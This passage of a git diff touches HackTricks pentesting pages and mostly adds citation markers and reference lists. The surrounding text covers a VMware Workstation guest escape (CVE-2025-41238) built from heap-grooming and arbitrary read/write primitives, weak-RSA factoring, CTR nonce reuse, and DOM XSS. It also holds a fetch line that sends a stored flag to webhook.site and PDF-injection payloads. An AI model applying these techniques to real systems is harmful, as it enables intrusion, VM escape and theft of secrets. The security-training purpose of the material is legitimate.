except one pinned shader (**Hole0**) so B1 stays active; allocate **15 URBs** into B1. @@ -29,12 +29,12 @@ This is the public **Workstation-on-Windows 11** variant of **CVE-2025-41238**. ## Reap Oracle: labeling contiguous holes -- UHCI URBs live in a FIFO queue and are freed when fully **reaped**. The constrained 16-byte overwrite always zeroes `actual_len`, giving a marker. +- UHCI URBs live in a FIFO queue and are freed when fully **reaped**. The constrained 16-byte overwrite always zeroes `actual_len`, giving a marker.[[1]](#references) - Reap URBs in order; when a zeroed `actual_len` is seen, immediately refill the freed slot with a recognisable shader. Iterating lets you map **Hole0–Hole3** as four contiguous chunks in known order for later adjacency-dependent primitives. ## Turning constrained writes into arbitrary overwrite (coalescing abuse) -`PVSCSI` coalesces adjacent entries using `AddrA + LenA == AddrB` and **compacts** later entries upward. +`PVSCSI` coalesces adjacent entries using `AddrA + LenA == AddrB` and **compacts** later entries upward.[[1]](#references) - **Two-pass overflow:** Trigger starting at PING (odd indices) and exit early to skip coalescing; trigger again starting at PONG (even indices) to fill the gaps and continue writing into a sprayed shader containing fake S/G entries. - **Vacuum + payload:** Set entries `[1023..2047]` to `{addr=0,len=0}` so coalescing collapses them into one, creating a logical hole. Payload entries placed afterwards (in the shader) are **moved up** into earlier memory, landing inside the victim URB. @@ -47,14 +47,14 @@ This is the public **Workstation-on-Windows 11** variant of **CVE-2025-41238**. ## Hybrid URB infoleak via coalescing side-effects -- Arrange contiguous chunks: `[Hole0 (free/PING), URB1 (target), URB2 (valid, actual_len=0), URB3 (leak target)]`. +- Arrange contiguous chunks: `[Hole0 (free/PING), URB1 (target), URB2 (valid, actual_len=0), URB3 (leak target)]`.[[1]](#references) - Fill URB1 with contiguous fake entries (sizes `0xFFFFFFFF`), touching URB2 minimally. Coalescing merges them into one entry; the sum `0xFFFFFFFF * 0x401` sets the upper dword at URB1’s `actual_len` offset to **0x400**. - Compaction copies the following data **upward**, pulling **URB2’s header into URB1**. URB1 now has a valid header (pipe/list pointers), `actual_len=0x400`, and a data pointer already at the end of URB2’s buffer. - Reaping URB1 copies 0x400 bytes starting just before URB3, yielding an **OOB read** of URB3’s header/self-references, which reveals absolute heap addresses and defeats ASLR for subsequent forged structures. ## Post-leak primitives (no re-triggering the bug) -- Forge a URB structure inside a shader occupying **Hole0**, then use the coalescing "move up" to replace URB1 with the forged data. +- Forge a URB structure inside a shader occupying **Hole0**, then use the coalescing "move up" to replace URB1 with the forged data.[[1]](#references) - Make the URB persistent: set `URB1.next = Hole0` and increment `refcount`; reaping URB1 puts the **Hole0-backed fake URB** at the FIFO head. Future primitives are just reallocations of Hole0 with new fake URBs. - **Arbitrary read:** fake URB with chosen `data_ptr` and `actual_len`, then reap to copy host memory to the guest. - **Arbitrary write (32-bit):** fake URB whose `pipe` points to controlled memory and abuse the UHCI **TDBuffer writeback** to store a chosen dword at an arbitrary address. @@ -62,14 +62,14 @@ This is the public **Workstation-on-Windows 11** variant of **CVE-2025-41238**. ## LFH timing side-channel to learn the initial bucket offset -- Deterministic Ping-Pong requires knowing the LFH free-chunk offset (which of 16 slots will be hit first). Use the **VMware backdoor** instruction (`inl %%dx, %%eax`) with the synchronous VMware Tools command `vmx.capability.unified_loop` and a **0x4000-byte string**, which forces **two 0x4000 allocations** per call. +- Deterministic Ping-Pong requires knowing the LFH free-chunk offset (which of 16 slots will be hit first). Use the **VMware backdoor** instruction (`inl %%dx, %%eax`) with the synchronous VMware Tools command `vmx.capability.unified_loop` and a **0x4000-byte string**, which forces **two 0x4000 allocations** per call.[[1]](#references) - Time 8 calls (16 allocations) via `gettimeofday`; one call shows a consistent spike when the LFH creates a new bucket. Repeat with one extra allocation: if the spike stays at the same index the offset is odd, if it shifts it is even; otherwise restart due to noise. - Probe strings must stay **unique**. Reusing the same string makes the host hit the existing `unified_loop` entry instead of allocating a fresh pair of 0x4000 buffers, which destroys the signal. - Caveat: every unique `unified_loop` string is stored in an unfreeable list, causing **O(n) lookup overhead** and rising noise, so the side-channel must converge quickly. ## References -- [Synacktiv – On the clock: Escaping VMware Workstation at Pwn2Own Berlin 2025](https://www.synacktiv.com/en/publications/on-the-clock-escaping-vmware-workstation-at-pwn2own-berlin-2025.html) -- [Broadcom – VMSA-2025-0013: VMware ESXi, Workstation, Fusion, and Tools updates address multiple vulnerabilities](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/VMSA-2025-0013--VMware-ESXi--Workstation--Fusion--and-Tools-updates-address-multiple-vulnerabilities--CVE-2025-41236--CVE-2025-41237--CVE-2025-41238--CVE-2025-41239-/35877) +- [1] [Synacktiv – On the clock: Escaping VMware Workstation at Pwn2Own Berlin 2025](https://www.synacktiv.com/en/publications/on-the-clock-escaping-vmware-workstation-at-pwn2own-berlin-2025.html) +- [2] [Broadcom – VMSA-2025-0013: VMware ESXi, Workstation, Fusion, and Tools updates address multiple vulnerabilities](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/VMSA-2025-0013--VMware-ESXi--Workstation--Fusion--and-Tools-updates-address-multiple-vulnerabilities--CVE-2025-41236--CVE-2025-41237--CVE-2025-41238--CVE-2025-41239-/35877) {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto/public-key/rsa/README.md b/src/crypto/public-key/rsa/README.md index 505e5357e64..671b6738990 100644 --- a/src/crypto/public-key/rsa/README.md +++ b/src/crypto/public-key/rsa/README.md @@ -41,15 +41,15 @@ This shows up frequently in CTFs as "we generated many keys quickly" or "bad ran ### Sparse / short-sleeve moduli -Some broken big-integer generators leak structure directly into the public modulus: each limb contains only a small random subfield and the rest of the bits are `0`. In practice this appears as **regularly spaced zero blocks** across `n`, often aligned to 32-bit or 128-bit limbs. +Some broken big-integer generators leak structure directly into the public modulus: each limb contains only a small random subfield and the rest of the bits are `0`. In practice this appears as **regularly spaced zero blocks** across `n`, often aligned to 32-bit or 128-bit limbs.[[1]](#references) Quick checks: - Dump `n` in hex and look for repeated zero windows at a fixed stride. - Re-slice `n` as limbs (`2^32`, `2^64`, `2^128`) and inspect whether each limb is unusually small. -- Audit public SSH/TLS keys with tooling such as **badkeys** when you suspect weak host-key generation. +- Audit public SSH/TLS keys with tooling such as **badkeys** when you suspect weak host-key generation.[[2]](#references)[[3]](#references) -This is more serious than a statistical bias: if both private factors `p` and `q` are short-sleeved, the modulus may become **easy to factor**. +This is more serious than a statistical bias: if both private factors `p` and `q` are short-sleeved, the modulus may become **easy to factor**.[[1]](#references) ### Polynomial factorization of structured RSA keys @@ -71,11 +71,11 @@ Attack outline: 4. Evaluate candidate factors back at `B = 2^w`. 5. Verify which candidates multiply to `n`. -This **does not break normal RSA**. It only works when the prime factors themselves have very small, highly structured limb coefficients. +This **does not break normal RSA**. It only works when the prime factors themselves have very small, highly structured limb coefficients.[[1]](#references) ### Shifted limb leakage -The sparse bytes are not always aligned at the low end of each limb. If direct base-`2^w` conversion produces large coefficients, search for shifts `i,j` such that `2^i p` and `2^j q` become sparse in that limb basis. The product polynomial can still be derived from the public modulus, factored, and recombined into the original integer factors. +The sparse bytes are not always aligned at the low end of each limb. If direct base-`2^w` conversion produces large coefficients, search for shifts `i,j` such that `2^i p` and `2^j q` become sparse in that limb basis. The product polynomial can still be derived from the public modulus, factored, and recombined into the original integer factors.[[1]](#references) ### Implementation smell: byte-to-limb RNG bug @@ -89,11 +89,11 @@ Array.Copy(array, 0, bignumLimbs, 0, numLimbs); bignumLimbs[numLimbs - 1] |= 0x80000000; ``` -This gives each 32-bit limb only **8 bits of entropy** plus a forced top bit in the last limb. The resulting RSA primes can often be recognized and factored from the public key alone. +This gives each 32-bit limb only **8 bits of entropy** plus a forced top bit in the last limb. The resulting RSA primes can often be recognized and factored from the public key alone.[[1]](#references) ### Related DSA failure mode -If the same broken big-integer routine is reused for DSA private exponent generation, the public key `y = g^x` may leak a **dramatically reduced and structured** search space for `x`. Once the limb pattern is known, discrete-log attacks such as **baby-step giant-step** can become practical against the public parameters. +If the same broken big-integer routine is reused for DSA private exponent generation, the public key `y = g^x` may leak a **dramatically reduced and structured** search space for `x`. Once the limb pattern is known, discrete-log attacks such as **baby-step giant-step** can become practical against the public parameters.[[1]](#references) ### Håstad broadcast / low exponent @@ -163,8 +163,8 @@ Good starting points: ## References -- [Trail of Bits - Factoring "short-sleeve" RSA keys with polynomials](https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/) -- [badkeys](https://badkeys.info/) -- [badkeys standalone tool](https://github.com/badkeys/badkeys) +- [1] [Trail of Bits - Factoring "short-sleeve" RSA keys with polynomials](https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/) +- [2] [badkeys](https://badkeys.info/) +- [3] [badkeys standalone tool](https://github.com/badkeys/badkeys) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/crypto/symmetric/README.md b/src/crypto/symmetric/README.md index ec988ec6812..2148038ff2a 100644 --- a/src/crypto/symmetric/README.md +++ b/src/crypto/symmetric/README.md @@ -43,9 +43,9 @@ If a nonce/IV is reused with the same key: ``` Apply the recovered keystream bytes to decrypt any other ciphertext produced with the same key+IV at the same offsets. -- Highly structured data (e.g., ASN.1/X.509 certificates, file headers, JSON/CBOR) gives large known-plaintext regions. You can often XOR the ciphertext of the certificate with the predictable certificate body to derive keystream, then decrypt other secrets encrypted under the reused IV. See also [TLS & Certificates](../tls-and-certificates/README.md) for typical certificate layouts. -- When multiple secrets of the **same serialized format/size** are encrypted under the same key+IV, field alignment leaks even without full known plaintext. Example: PKCS#8 RSA keys of the same modulus size place prime factors at matching offsets (~99.6% alignment for 2048-bit). XORing two ciphertexts under the reused keystream isolates `p ⊕ p'` / `q ⊕ q'`, which can be brute-recovered in seconds. -- Default IVs in libraries (e.g., constant `000...01`) are a critical footgun: every encryption repeats the same keystream, turning CTR into a reused one-time pad. +- Highly structured data (e.g., ASN.1/X.509 certificates, file headers, JSON/CBOR) gives large known-plaintext regions. You can often XOR the ciphertext of the certificate with the predictable certificate body to derive keystream, then decrypt other secrets encrypted under the reused IV. See also [TLS & Certificates](../tls-and-certificates/README.md) for typical certificate layouts.[[1]](#references) +- When multiple secrets of the **same serialized format/size** are encrypted under the same key+IV, field alignment leaks even without full known plaintext. Example: PKCS#8 RSA keys of the same modulus size place prime factors at matching offsets (~99.6% alignment for 2048-bit). XORing two ciphertexts under the reused keystream isolates `p ⊕ p'` / `q ⊕ q'`, which can be brute-recovered in seconds.[[1]](#references) +- Default IVs in libraries (e.g., constant `000...01`) are a critical footgun: every encryption repeats the same keystream, turning CTR into a reused one-time pad.[[1]](#references) **CTR malleability** @@ -206,6 +206,6 @@ https://0xrick.github.io/hack-the-box/kryptos/ ## References -- [Trail of Bits – Carelessness versus craftsmanship in cryptography](https://blog.trailofbits.com/2026/02/18/carelessness-versus-craftsmanship-in-cryptography/) +- [1] [Trail of Bits – Carelessness versus craftsmanship in cryptography](https://blog.trailofbits.com/2026/02/18/carelessness-versus-craftsmanship-in-cryptography/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/dom-xss.md b/src/pentesting-web/xss-cross-site-scripting/dom-xss.md index 3aced30d005..2f5cc7e9960 100644 --- a/src/pentesting-web/xss-cross-site-scripting/dom-xss.md +++ b/src/pentesting-web/xss-cross-site-scripting/dom-xss.md @@ -82,7 +82,7 @@ This kind of XSS is probably the **hardest to find**, as you need to look inside From: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection) -**Open redirect vulnerabilities in the DOM** occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains. +**Open redirect vulnerabilities in the DOM** occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.[[3]](#references) It's crucial to understand that executing arbitrary code, such as **`javascript:alert(1)`**, is possible if you have control over the start of the URL where the redirection occurs. @@ -110,7 +110,7 @@ $.ajax() From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation) -DOM-based cookie-manipulation vulnerabilities occur when a script incorporates data, which can be controlled by an attacker, into the value of a cookie. This vulnerability can lead to unexpected behavior of the webpage if the cookie is utilized within the site. Additionally, it can be exploited to carry out a session fixation attack if the cookie is involved in tracking user sessions. The primary sink associated with this vulnerability is: +DOM-based cookie-manipulation vulnerabilities occur when a script incorporates data, which can be controlled by an attacker, into the value of a cookie.[[4]](#references) This vulnerability can lead to unexpected behavior of the webpage if the cookie is utilized within the site. Additionally, it can be exploited to carry out a session fixation attack if the cookie is involved in tracking user sessions. The primary sink associated with this vulnerability is: Sinks: @@ -122,7 +122,7 @@ document.cookie From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection) -DOM-based JavaScript injection vulnerabilities are created when a script runs data, which can be controlled by an attacker, as JavaScript code. +DOM-based JavaScript injection vulnerabilities are created when a script runs data, which can be controlled by an attacker, as JavaScript code.[[5]](#references) Sinks: @@ -143,7 +143,7 @@ crypto.generateCRMFRequest() From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation) -**Document-domain manipulation vulnerabilities** occur when a script sets the `document.domain` property using data that an attacker can control. +**Document-domain manipulation vulnerabilities** occur when a script sets the `document.domain` property using data that an attacker can control.[[6]](#references) The `document.domain` property plays a **key role** in the **enforcement** of the **same-origin policy** by browsers. When two pages from different origins set their `document.domain` to the **same value**, they can interact without restrictions. Although browsers impose certain **limits** on the values assignable to `document.domain`, preventing the assignment of completely unrelated values to the actual page origin, exceptions exist. Typically, browsers permit the use of **child** or **parent domains**. @@ -157,7 +157,7 @@ document.domain From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning) -**WebSocket-URL poisoning** occurs when a script utilizes **controllable data as the target URL** for a WebSocket connection. +**WebSocket-URL poisoning** occurs when a script utilizes **controllable data as the target URL** for a WebSocket connection.[[7]](#references) Sinks: @@ -167,7 +167,7 @@ The `WebSocket` constructor can lead to WebSocket-URL poisoning vulnerabilities. From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation) -**DOM-based link-manipulation vulnerabilities** arise when a script writes **attacker-controllable data to a navigation target** within the current page, such as a clickable link or the submission URL of a form. +**DOM-based link-manipulation vulnerabilities** arise when a script writes **attacker-controllable data to a navigation target** within the current page, such as a clickable link or the submission URL of a form.[[8]](#references) Sinks: @@ -181,7 +181,7 @@ someDOMElement.action From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation) -**Ajax request manipulation vulnerabilities** arise when a script writes **attacker-controllable data into an Ajax request** that is issued using an `XmlHttpRequest` object. +**Ajax request manipulation vulnerabilities** arise when a script writes **attacker-controllable data into an Ajax request** that is issued using an `XmlHttpRequest` object.[[9]](#references) Sinks: @@ -197,7 +197,7 @@ $.globalEval() From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation) -**Local file-path manipulation vulnerabilities** arise when a script passes **attacker-controllable data to a file-handling API** as the `filename` parameter. This vulnerability can be exploited by an attacker to construct a URL that, if visited by another user, could lead to the **user's browser opening or writing an arbitrary local file**. +**Local file-path manipulation vulnerabilities** arise when a script passes **attacker-controllable data to a file-handling API** as the `filename` parameter.[[10]](#references) This vulnerability can be exploited by an attacker to construct a URL that, if visited by another user, could lead to the **user's browser opening or writing an arbitrary local file**. Sinks: @@ -215,7 +215,7 @@ FileReader.root.getFile() From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection) -**Client-side SQL-injection vulnerabilities** occur when a script incorporates **attacker-controllable data into a client-side SQL query in an unsafe way**. +**Client-side SQL-injection vulnerabilities** occur when a script incorporates **attacker-controllable data into a client-side SQL query in an unsafe way**.[[11]](#references) Sinks: @@ -227,7 +227,7 @@ executeSql() From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation) -**HTML5-storage manipulation vulnerabilities** arise when a script **stores attacker-controllable data in the web browser's HTML5 storage** (`localStorage` or `sessionStorage`). While this action is not inherently a security vulnerability, it becomes problematic if the application subsequently **reads the stored data and processes it unsafely**. This could allow an attacker to leverage the storage mechanism to conduct other DOM-based attacks, such as cross-site scripting and JavaScript injection. +**HTML5-storage manipulation vulnerabilities** arise when a script **stores attacker-controllable data in the web browser's HTML5 storage** (`localStorage` or `sessionStorage`).[[12]](#references) While this action is not inherently a security vulnerability, it becomes problematic if the application subsequently **reads the stored data and processes it unsafely**. This could allow an attacker to leverage the storage mechanism to conduct other DOM-based attacks, such as cross-site scripting and JavaScript injection. Sinks: @@ -240,7 +240,7 @@ localStorage.setItem() From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection) -**DOM-based XPath-injection vulnerabilities** occur when a script incorporates **attacker-controllable data into an XPath query**. +**DOM-based XPath-injection vulnerabilities** occur when a script incorporates **attacker-controllable data into an XPath query**.[[13]](#references) Sinks: @@ -253,7 +253,7 @@ someDOMElement.evaluate() From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection) -**DOM-based JSON-injection vulnerabilities** occur when a script incorporates **attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application**. +**DOM-based JSON-injection vulnerabilities** occur when a script incorporates **attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application**.[[14]](#references) Sinks: @@ -267,7 +267,7 @@ $.parseJSON() From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation) -**Web-message vulnerabilities** arise when a script sends **attacker-controllable data as a web message to another document** within the browser. An **example** of vulnerable Web-message manipulation can be found at [PortSwigger's Web Security Academy](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source). +**Web-message vulnerabilities** arise when a script sends **attacker-controllable data as a web message to another document** within the browser. An **example** of vulnerable Web-message manipulation can be found at [PortSwigger's Web Security Academy](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source).[[15]](#references) Sinks: @@ -277,7 +277,7 @@ The `postMessage()` method for sending web messages can lead to vulnerabilities From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation) -**DOM-data manipulation vulnerabilities** arise when a script writes **attacker-controllable data to a field within the DOM** that is utilized within the visible UI or client-side logic. This vulnerability can be exploited by an attacker to construct a URL that, if visited by another user, can alter the appearance or behaviour of the client-side UI. +**DOM-data manipulation vulnerabilities** arise when a script writes **attacker-controllable data to a field within the DOM** that is utilized within the visible UI or client-side logic.[[16]](#references) This vulnerability can be exploited by an attacker to construct a URL that, if visited by another user, can alter the appearance or behaviour of the client-side UI. Sinks: @@ -310,7 +310,7 @@ history.replaceState() From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service) -**DOM-based denial-of-service vulnerabilities** occur when a script passes **attacker-controllable data unsafely to a problematic platform API**. This includes APIs that, when invoked, can lead the user's computer to consume **excessive amounts of CPU or disk space**. Such vulnerabilities can have significant side effects, such as the browser restricting the website's functionality by rejecting attempts to store data in `localStorage` or terminating busy scripts. +**DOM-based denial-of-service vulnerabilities** occur when a script passes **attacker-controllable data unsafely to a problematic platform API**.[[17]](#references) This includes APIs that, when invoked, can lead the user's computer to consume **excessive amounts of CPU or disk space**. Such vulnerabilities can have significant side effects, such as the browser restricting the website's functionality by rejecting attempts to store data in `localStorage` or terminating busy scripts. Sinks: @@ -342,7 +342,7 @@ Referencing `name` without a declaration (`var`/`let`/`const`) resolves to `wind window.open('https://target/page', "") ``` -If the application later does `element.innerHTML = name` (or similar sink) without sanitization, the attacker-controlled `window.name` string executes in the target origin, enabling DOM XSS and access to same-origin storage. +If the application later does `element.innerHTML = name` (or similar sink) without sanitization, the attacker-controlled `window.name` string executes in the target origin, enabling DOM XSS and access to same-origin storage.[[1]](#references) ## Admin/automation flows: pre-seeded storage & `javascript:` navigation @@ -352,7 +352,7 @@ Automation bots (e.g., Playwright) often visit an internal page first, set secre fetch('https://webhook.site/?flag=' + encodeURIComponent(localStorage.getItem('flag'))) ``` -If the bot does not restrict schemes, supplying a `javascript:` URL (`javascript:fetch(...)`) executes in the current origin without new navigation, directly leaking storage values. +If the bot does not restrict schemes, supplying a `javascript:` URL (`javascript:fetch(...)`) executes in the current origin without new navigation, directly leaking storage values.[[1]](#references) ## Template literal `innerHTML` + partial sanitization gaps @@ -369,14 +369,29 @@ fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(re }); ``` -If the un-sanitized field is stored server-side (e.g., bug report “details”), the payload becomes **stored DOM XSS** for any privileged viewer of the list. A simple payload such as `` executes when an admin opens the page and exfiltrates their cookies. +If the un-sanitized field is stored server-side (e.g., bug report “details”), the payload becomes **stored DOM XSS** for any privileged viewer of the list. A simple payload such as `` executes when an admin opens the page and exfiltrates their cookies.[[2]](#references) -When the app explicitly disables `SESSION_COOKIE_HTTPONLY` (e.g., Flask `app.config['SESSION_COOKIE_HTTPONLY'] = False`), the stolen cookie immediately grants the admin session even if the signing secret rotates on each boot (random `secret_key` prevents forging, but theft still works). +When the app explicitly disables `SESSION_COOKIE_HTTPONLY` (e.g., Flask `app.config['SESSION_COOKIE_HTTPONLY'] = False`), the stolen cookie immediately grants the admin session even if the signing secret rotates on each boot (random `secret_key` prevents forging, but theft still works).[[2]](#references) ## References -- [Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise](https://0xdf.gitlab.io/flagvent2025/medium) -- [HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)](https://0xdf.gitlab.io/2026/01/24/htb-imagery.html) +- [1] [Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise](https://0xdf.gitlab.io/flagvent2025/medium) +- [2] [HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)](https://0xdf.gitlab.io/2026/01/24/htb-imagery.html) +- [3] [DOM-based open redirection](https://portswigger.net/web-security/dom-based/open-redirection) +- [4] [DOM-based cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation) +- [5] [DOM-based JavaScript injection](https://portswigger.net/web-security/dom-based/javascript-injection) +- [6] [DOM-based document-domain manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation) +- [7] [DOM-based WebSocket-URL poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning) +- [8] [DOM-based link manipulation](https://portswigger.net/web-security/dom-based/link-manipulation) +- [9] [DOM-based Ajax request-header manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation) +- [10] [DOM-based local file-path manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation) +- [11] [DOM-based client-side SQL injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection) +- [12] [DOM-based HTML5-storage manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation) +- [13] [DOM-based client-side XPath injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection) +- [14] [DOM-based client-side JSON injection](https://portswigger.net/web-security/dom-based/client-side-json-injection) +- [15] [DOM-based web-message manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation) +- [16] [DOM-based DOM-data manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation) +- [17] [DOM-based denial of service](https://portswigger.net/web-security/dom-based/denial-of-service) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md index fef98330a47..15f625777e0 100644 --- a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md +++ b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md @@ -118,7 +118,7 @@ console.log(log) //34,39,47,96 ### **Surrogate Pairs BF** -This technique won't be very useful for XSS but it could be useful to bypass WAF protections. This python code receive as input 2bytes and it search a surrogate pairs that have the first byte as the the last bytes of the High surrogate pair and the the last byte as the last byte of the low surrogate pair. +This technique won't be very useful for XSS but it could be useful to bypass WAF protections. This python code receive as input 2bytes and it search a surrogate pairs that have the first byte as the the last bytes of the High surrogate pair and the the last byte as the last byte of the low surrogate pair.[[1]](#references)[[2]](#references)[[3]](#references) ```python def unicode(findHex): @@ -213,7 +213,7 @@ The tool **Hackability inspector** from Portswigger helps to **analyze** the **a ## **.map js files** -- Trick to download .map js files: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7) +- Trick to download .map js files: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)[[4]](#references) - You can use this tool to analyze these files [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji) ## "--" Assignment @@ -507,6 +507,13 @@ async function sleep(ms) { })() ``` +## References + +- [1] [dreadlocked ctf-writeups – nn8ed](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md) +- [2] [Mathias Bynens – JavaScript and Unicode](https://mathiasbynens.be/notes/javascript-unicode) +- [3] [Mathias Bynens – JavaScript character escape sequences](https://mathiasbynens.be/notes/javascript-encoding) +- [4] [JavaScript for Bug Bounty Hunters – Part 2](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md index e943f34d9ca..75dc4b71dde 100644 --- a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md +++ b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md @@ -101,7 +101,7 @@ Classic case: your input lands in `/URI (...)`. If the application only validates the visible URL but not the raw PDF string escaping, you can replace a harmless link with a JavaScript action or a new `/URI` pointing to your server. ### 2. Widget / AcroForm upgrade -PortSwigger's research showed that turning an annotation into a **Widget** with a fake parent field is often the key to making JavaScript execute in browser viewers that otherwise seem too restricted. +PortSwigger's research showed that turning an annotation into a **Widget** with a fake parent field is often the key to making JavaScript execute in browser viewers that otherwise seem too restricted.[[1]](#references) ```pdf #)>> << /Type /Annot /Rect [0 0 900 900] /Subtype /Widget @@ -132,7 +132,7 @@ for (page = 0; page < this.numPages; page++) { } ``` -On Acrobat this becomes powerful when combined with `submitForm(...)`. On Chrome/PDFium, PortSwigger showed that `getPageNthWord(...)` can still be abused after the right annotation/widget trick. +On Acrobat this becomes powerful when combined with `submitForm(...)`. On Chrome/PDFium, PortSwigger showed that `getPageNthWord(...)` can still be abused after the right annotation/widget trick.[[1]](#references) ## Blind Enumeration Trick When you don't know which objects / methods are available in the current viewer, enumerate the document object and look for useful sinks: @@ -145,7 +145,7 @@ This is noisy, but great in blind scenarios where you only get out-of-band callb ## Real-World Bugs Worth Remembering ### CVE-2024-4367 – PDF.js `FontMatrix` injection -This one is important because it is **not** classic PDF `/JS` support. Vulnerable PDF.js versions generated JavaScript code with `new Function(...)` while assuming `FontMatrix` only contained numbers. A crafted **Type1** font object could inject a string into `c.transform(...)` and achieve arbitrary JavaScript execution in the PDF.js context. +This one is important because it is **not** classic PDF `/JS` support. Vulnerable PDF.js versions generated JavaScript code with `new Function(...)` while assuming `FontMatrix` only contained numbers. A crafted **Type1** font object could inject a string into `c.transform(...)` and achieve arbitrary JavaScript execution in the PDF.js context.[[2]](#references) Minimal idea: ```pdf @@ -188,6 +188,7 @@ From the attacker side, the fixes to look for are predictable: 4. Updating vulnerable viewers/libraries such as **PDF.js** and **jsPDF**. ## References -- [Gareth Heyes, "Portable Data exFiltration: XSS for PDFs"](https://portswigger.net/research/portable-data-exfiltration) -- [Thomas Rinsma, "CVE-2024-4367 – Arbitrary JavaScript execution in PDF.js"](https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/) +- [1] [Gareth Heyes, "Portable Data exFiltration: XSS for PDFs"](https://portswigger.net/research/portable-data-exfiltration) +- [2] [Thomas Rinsma, "CVE-2024-4367 – Arbitrary JavaScript execution in PDF.js"](https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/) + {{#include ../../banners/hacktricks-training.md}}